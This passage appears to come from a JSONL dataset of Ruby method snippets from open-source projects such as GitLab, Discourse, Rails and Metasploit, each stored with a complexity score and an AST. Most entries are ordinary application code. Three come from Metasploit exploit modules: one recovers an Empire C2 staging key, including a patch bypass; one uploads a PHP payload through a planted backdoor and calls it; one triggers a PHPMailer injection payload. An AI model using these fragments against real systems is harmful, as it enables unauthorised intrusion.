end\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"sym\",\"children\":[\"integer_value\"]}]},\"to_i\"]},\"-@\"]}]},\"uniq\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"shared_with_group\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"members\"]},{\"type\":\"lvar\",\"children\":[\"members\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pagination\"]},{\"type\":\"send\",\"children\":[null,\"members_pagination_data\",{\"type\":\"lvar\",\"children\":[\"members\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member_path\"]},{\"type\":\"send\",\"children\":[null,\"project_group_link_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"str\",\"children\":[\":id\"]}]}]}]}]}]}","id":"fb3195ba-6102-4c93-98c2-819a84e5bb3d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/empire_skywalker.rb","start_line":158,"raw_source":"def get_staging_key\n    # patch bypass\n    if datastore['CVE'] == 'CVE-2024-6127'\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'download/python/')\n      })\n      return unless res && res.code == 200\n\n      match = /IV\\+'(.*)'\\.encode/.match(res.body)\n      return match[1].bytes if match\n\n      return\n    end\n\n    # STAGE0_URI resource requested by the initial launcher\n    # The default STAGE0_URI resource is index.asp\n    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])\n    })\n    return unless res && res.code == 200\n\n    @staging_key = Array.new(32, nil)\n    staging_data = res.body.bytes\n\n    reversal_key.each_with_index do |(pos, char_code), key_pos|\n      @staging_key[key_pos] = staging_data[pos] ^ char_code\n    end\n\n    return if @staging_key.include? nil\n\n    # at this point the staging key should have been fully recovered but\n    # we'll verify it by attempting to decrypt the header of the stage\n    decrypted = []\n    staging_data[0..23].each_with_index do |byte, pos|\n      decrypted << (byte ^ @staging_key[pos])\n    end\n    return unless decrypted.pack('C*').downcase == 'function start-negotiate'\n\n    @staging_key\n  end","complexity_score":69.73,"ast_json":"{\"type\":\"def\",\"children\":[\"get_staging_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CVE\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"CVE-2024-6127\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"download/python/\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"IV\\\\+'(.*)'\\\\.encode\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"bytes\"]}]},null]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STAGE0_URI\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@staging_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[32]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"staging_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"bytes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reversal_key\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"pos\"]},{\"type\":\"arg\",\"children\":[\"char_code\"]}]},{\"type\":\"arg\",\"children\":[\"key_pos\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@staging_key\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"staging_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]},\"^\",{\"type\":\"lvar\",\"children\":[\"char_code\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@staging_key\"]},\"include?\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"decrypted\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"staging_data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[23]}]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"byte\"]},{\"type\":\"arg\",\"children\":[\"pos\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byte\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@staging_key\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted\"]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"function start-negotiate\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivar\",\"children\":[\"@staging_key\"]}]}]}","id":"f4894bec-5550-4efd-81e1-fd68fbaf374f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/create_dependency_service.rb","start_line":10,"raw_source":"def initialize(package, dependencies)\n      @package = package\n      @dependencies = dependencies\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]},{\"type\":\"arg\",\"children\":[\"dependencies\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@package\",{\"type\":\"lvar\",\"children\":[\"package\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@dependencies\",{\"type\":\"lvar\",\"children\":[\"dependencies\"]}]}]}]}","id":"757a69d1-df0c-425f-b7a6-ffeec6f73790"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/topic_bookmarkable.rb","start_line":88,"raw_source":"def self.cleanup_deleted\n    related_topics = DB.query(<<~SQL, grace_time: 3.days.ago)\n      DELETE FROM bookmarks b\n      USING topics t\n      WHERE b.bookmarkable_id = t.id AND b.bookmarkable_type = 'Topic'\n      AND (t.deleted_at < :grace_time)\n      RETURNING t.id AS topic_id\n    SQL\n\n    related_topics_ids = related_topics.map(&:topic_id).uniq\n    related_topics_ids.each do |topic_id|\n      Jobs.enqueue(:sync_topic_user_bookmarked, topic_id: topic_id)\n    end\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cleanup_deleted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"related_topics\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM bookmarks b\\n\"]},{\"type\":\"str\",\"children\":[\"USING topics t\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE b.bookmarkable_id = t.id AND b.bookmarkable_type = 'Topic'\\n\"]},{\"type\":\"str\",\"children\":[\"AND (t.deleted_at < :grace_time)\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNING t.id AS topic_id\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"grace_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"days\"]},\"ago\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"related_topics_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"related_topics\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},\"uniq\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"related_topics_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"sync_topic_user_bookmarked\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]}]}]}]}","id":"507e4746-80ce-430a-aa09-3c8a1a6d7278"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/railtie/configurable.rb","start_line":24,"raw_source":"def configure(&block)\n          class_eval(&block)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"class_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"6d3b4138-7f8f-4192-8b8d-3158d3db9590"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_order.rb","start_line":48,"raw_source":"def cart?\n    state == STATE_CART\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cart?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"STATE_CART\"]}]}]}","id":"79ee4080-7b1a-4802-92ea-541f9be803c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/mma_backdoor_upload.rb","start_line":81,"raw_source":"def exploit\n    uri = normalize_uri(target_uri.path)\n    payload_name = \"#{rand_text_alpha(5)}.php\"\n\n    print_status(\"Trying to upload #{payload_name} to mma.php Backdoor\")\n\n    data = Rex::MIME::Message.new\n\n    data.add_part('Upload', nil, nil, 'form-data; name=\"_upl\"')\n    data.add_part(payload.encoded, 'application/octet-stream', nil, \"form-data; name=\\\"file\\\"; filename=\\\"#{payload_name}\\\"\")\n    post_data = data.to_s\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => uri,\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => post_data\n    })\n\n    if res\n      if res.body =~ /uplod d0n3 in SAME file/\n        print_good(\"Our payload #{payload_name} has been uploaded. Calling payload...\")\n        register_files_for_cleanup(payload_name)\n      else\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Unable to deploy payload, server returned #{res.code}\")\n      end\n    else\n      fail_with(Failure::Unknown, 'Connection Timed Out')\n    end\n\n    send_request_cgi({\n      'uri' => normalize_uri(payload_name),\n      'method' => 'GET'\n    })\n  end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying to upload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"str\",\"children\":[\" to mma.php Backdoor\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"Upload\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"_upl\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"post_data\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"uplod d0n3 in SAME file\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Our payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"str\",\"children\":[\" has been uploaded. Calling payload...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to deploy payload, server returned \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Connection Timed Out\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]}]}","id":"e0637c34-a3f8-4ecb-a354-6d3046396dda"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user/action/trigger_post_action.rb","start_line":19,"raw_source":"def delete\n    return unless guardian.can_delete_post_or_topic?(post)\n    PostDestroyer.new(user, post).destroy\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_delete_post_or_topic?\",{\"type\":\"send\",\"children\":[null,\"post\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostDestroyer\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"post\"]}]},\"destroy\"]}]}]}","id":"db29d0c5-e118-4027-9275-08287e566f07"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/phpmailer_arg_injection.rb","start_line":74,"raw_source":"def trigger(trigger_uri)\n    print_status(\"Sleeping before requesting the payload from: #{trigger_uri}\")\n\n    page_found = false\n    sleep_time = 10\n    wait_time = datastore['WAIT_TIMEOUT']\n    print_status(\"Waiting for up to #{wait_time} seconds to trigger the payload\")\n    while wait_time > 0\n      sleep(sleep_time)\n      wait_time -= sleep_time\n      res = send_request_cgi!(\n        'method' => 'GET',\n        'uri' => trigger_uri\n      )\n\n      if res.nil?\n        if page_found or session_created?\n          print_good('Successfully triggered the payload')\n          break\n        end\n\n        next\n      end\n\n      next unless res.code == 200\n\n      if res.body.length == 0 and not page_found\n        print_good('Successfully found the payload')\n        page_found = true\n      end\n    end\n  end","complexity_score":39.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trigger_uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sleeping before requesting the payload from: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger_uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"page_found\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"sleep_time\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"lvasgn\",\"children\":[\"wait_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WAIT_TIMEOUT\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting for up to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_time\"]}]},{\"type\":\"str\",\"children\":[\" seconds to trigger the payload\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_time\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"lvar\",\"children\":[\"sleep_time\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wait_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"sleep_time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"trigger_uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_found\"]},{\"type\":\"send\",\"children\":[null,\"session_created?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully triggered the payload\"]}]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page_found\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully found the payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"page_found\",{\"type\":\"true\",\"children\":[]}]}]},null]}]}]}]}]}","id":"0c2c0bf3-f977-4d43-aa6d-371984e0e835"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/models/discourse_post_event/event.rb","start_line":436,"raw_source":"def duration\n      return nil unless original_starts_at\n\n      duration_seconds = original_ends_at ? original_ends_at - original_starts_at : 3600\n      hours = (duration_seconds / 3600)\n      minutes = ((duration_seconds % 3600) / 60)\n      seconds = (duration_seconds % 60)\n\n      sprintf(\"%02d:%02d:%02d\", hours, minutes, seconds)\n    end","complexity_score":18.43,"ast_json":"{\"type\":\"def\",\"children\":[\"duration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_starts_at\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"duration_seconds\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_ends_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_ends_at\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"original_starts_at\"]}]},{\"type\":\"int\",\"children\":[3600]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hours\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration_seconds\"]},\"/\",{\"type\":\"int\",\"children\":[3600]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"minutes\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration_seconds\"]},\"%\",{\"type\":\"int\",\"children\":[3600]}]}]},\"/\",{\"type\":\"int\",\"children\":[60]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration_seconds\"]},\"%\",{\"type\":\"int\",\"children\":[60]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%02d:%02d:%02d\"]},{\"type\":\"lvar\",\"children\":[\"hours\"]},{\"type\":\"lvar\",\"children\":[\"minutes\"]},{\"type\":\"lvar\",\"children\":[\"seconds\"]}]}]}]}","id":"d0676baa-2b69-4cac-b890-b1860825e1c9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/report.rb","start_line":176,"raw_source":"def user_can_view_project_phases?(project)\n      User.current.allowed_in_project?(:view_project_phases, project) && project.phases.active.any?\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"user_can_view_project_phases?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_project_phases\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"phases\"]},\"active\"]},\"any?\"]}]}]}","id":"9fc7b8f6-d0d7-4b08-b43e-9ce8c58535df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1478,"raw_source":"def draft_title\n    self.class.draft_title(self.title)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"draft_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"draft_title\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"title\"]}]}]}","id":"3990cb2d-427e-4da2-a729-916387406e44"}
